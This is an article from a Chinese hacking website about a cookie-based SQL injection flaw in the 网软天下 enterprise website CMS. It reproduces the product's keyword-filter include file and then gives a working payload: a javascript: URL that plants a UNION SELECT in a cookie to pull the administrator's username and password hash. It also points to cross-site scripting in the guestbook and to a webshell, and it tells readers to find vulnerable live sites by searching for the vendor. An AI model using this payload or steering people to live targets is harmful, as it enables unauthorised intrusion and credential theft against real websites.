黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 文章正文
[推荐]网软天下企业网站管理系统cookies注入漏洞
      ★★★★★
网软天下企业网站管理系统cookies注入漏洞
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-11-6
网软天下企业网站管理系统很多参数都是直接用request("id") 来接收参数,为什么他们那么放心呢?原来他们都包含了一个非常流行.很多ASP程序里都用的防注入代码,真的只需在有参数提交的文件中include防注入文件就是了安全吗?我们来看看这个防注入文件。

Check_Sql.asp
以下是引用片段:
<%

Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name

'------定义部份 头----------------------------------------------------------------------

Err_Message = 1 '处理方式:1=提示信息,2=转向页面,3=先提示再转向

Err_Web = "Err.Asp" '出错时转向的页面

Query_Badword="'∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="

'在这部份定义get非法参数,使用"∥"号间隔

Form_Badword="'∥%∥&∥*∥#∥(∥)∥=" '在这部份定义post非法参数,使用"∥"号间隔

'------定义部份 尾-----------------------------------------------------------------------
'
On Error Resume Next

'----- 对 get query 值 的过滤.

if request.QueryString<>"" then //request.QueryString
Chk_badword=split(Query_Badword,"∥") //用split()把参数分割了
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then //呵呵,他们还没有低级到连LCase()都不用!
Select Case Err_Message
Case "1"
Response.Write "<Script Language=JavaScript>alert('传参错误!参数 "&name&" 的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符!');window.close();</Script>"
Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert('传参错误!参数 "&name&"的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
End if

'-----对 post 表 单值的过滤.

if request.form<>"" then //request.form
Chk_badword=split(Form_Badword,"∥")
FOR EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
Select Case Err_Message
Case "1"
Response.Write "<Script Language=JavaScript>alert('出错了!表单 "&name&" 的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( ) 等非法字符!');window.close();</Script>"
Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert('出错了!参数 "&name&"的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( ) 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
end if
%>

它遍历GET和POST中很多危险的参数,常用来获得数据的有两种方式:一种就是:GET方式(Request.QueryString)另一种就是:表单POST提交的数据(Request. Form)和Cookies(Request.Cookies),而上面的防注入只是对Request对象的QueryString和From集合进行过滤,却忽略了Request.Cookies 可爱的注入出现了,我们可以用cookie注入来得到管理员的密码帐号。这里我们不仅仅可以注入,也可以跨站,这样的防注入形同虚设。

注入漏洞
下面我们来测试一下:我们就来
利用shownews.asp 在地址栏中打开http://127.0.0.1/shownews.asp?id=1 清空地址栏,利用union语句来注入,提交:javascript:alert(document.cookie="id="+escape("77 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from Admin")) 提交后我们访问
http://127.0.0.1/shownews.asp 在页面中直接返回了管理员的帐号和16位MD5加密的密码,这样我们就已经成功拿到了管理员的帐号和密码。至于什么在后台拿到WEBSHELL,这里我就不说了。

跨站漏洞

跨站漏洞我不想多说了,直接在客户留言那里写上跨站代码就可以了!

网软天下的产品还有很多不知道是不是都是这么写的,百度直接搜索:网软天下信息技术有限公司 就可以看到很多,大家可以自己去他们官方网站 下载回来测试一下。现在网上的很多ASP程序都用上面的代码来防注入,希望用上面代码来防注入的网站注意了!
文章录入:cainiaowang    责任编辑:cainiaowang 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    VIP 专 区
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886